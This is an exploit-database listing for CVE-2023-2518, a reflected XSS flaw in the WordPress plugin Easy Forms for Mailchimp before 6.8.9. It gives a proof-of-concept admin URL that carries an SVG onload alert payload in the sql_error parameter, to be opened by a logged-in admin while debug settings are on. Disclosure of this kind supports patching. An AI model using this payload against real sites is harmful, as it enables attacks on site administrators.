Exploit for Easy Forms for Mailchimp < 6.8.9 - Reflected XSS CVE-2023-2518

Name: Exploit for Easy Forms for Mailchimp < 6.8.9 - Reflected XSS CVE-2023-2518
Rating: 5 (91 reviews)

2023-05-22 | CVSS 5.8

## https://sploitus.com/exploit?id=WPEX-ID:CA120255-2C50-4906-97F3-EA660486DB4C
When the debug settings is enabled (ie /wp-admin/admin.php?page=yikes-inc-easy-mailchimp-settings&section=debug-settings), make a logged in admin open the URL below

https://example.com/wp-admin/admin.php?page=yikes-mailchimp-edit-form&sql_error=<svg/onload=alert(/XSS/)>